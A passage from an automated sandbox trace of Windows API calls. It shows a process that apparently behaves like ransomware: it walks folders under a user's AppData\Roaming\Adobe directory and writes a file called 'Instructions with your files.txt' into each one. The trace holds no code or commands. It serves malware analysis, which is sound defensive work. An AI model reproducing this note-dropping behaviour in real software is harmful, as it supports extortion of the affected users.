[0131.240] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.241] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.241] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.241] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.241] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.241] CloseHandle (hObject=0x11c) returned 1
[0131.241] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.241] GetProcessHeap () returned 0x810000
[0131.241] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.241] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0
[0131.241] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\Instructions with your files.txt") returned 101
[0131.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.242] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.243] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.243] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.243] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.243] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.243] CloseHandle (hObject=0x118) returned 1
[0131.243] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.243] GetProcessHeap () returned 0x810000
[0131.243] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.244] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1
[0131.244] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned 66
[0131.244] GetProcessHeap () returned 0x810000
[0131.244] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.245] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*") returned 68
[0131.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.245] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\.") returned 68
[0131.245] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.245] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\..") returned 69
[0131.245] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.245] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\Instructions with your files.txt") returned 99
[0131.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\headlights\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.246] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.247] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.247] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.247] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.247] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.247] CloseHandle (hObject=0x118) returned 1
[0131.247] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.247] GetProcessHeap () returned 0x810000
[0131.247] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.247] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
[0131.247] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned 67
[0131.247] GetProcessHeap () returned 0x810000
[0131.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.247] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned 69
[0131.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.248] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\.") returned 69
[0131.248] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.248] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\..") returned 70
[0131.248] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1
[0131.248] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned 80
[0131.248] GetProcessHeap () returned 0x810000
[0131.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.249] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned 82
[0131.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.249] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\.") returned 82
[0131.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.249] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\..") returned 83
[0131.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.249] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\Instructions with your files.txt") returned 113
[0131.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\dictionaries\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.251] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.253] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.253] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.253] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.253] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.254] CloseHandle (hObject=0x11c) returned 1
[0131.254] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.254] GetProcessHeap () returned 0x810000
[0131.254] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.254] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0
[0131.254] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Instructions with your files.txt") returned 100
[0131.254] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.254] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.255] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.255] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.255] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.255] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.255] CloseHandle (hObject=0x118) returned 1
[0131.255] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.255] GetProcessHeap () returned 0x810000
[0131.255] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.257] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1
[0131.257] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned 69
[0131.257] GetProcessHeap () returned 0x810000
[0131.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.257] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned 71
[0131.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.258] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\.") returned 71
[0131.258] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.258] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\..") returned 72
[0131.258] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.258] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\Instructions with your files.txt") returned 102
[0131.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\logtransport2\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.258] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.259] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.259] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
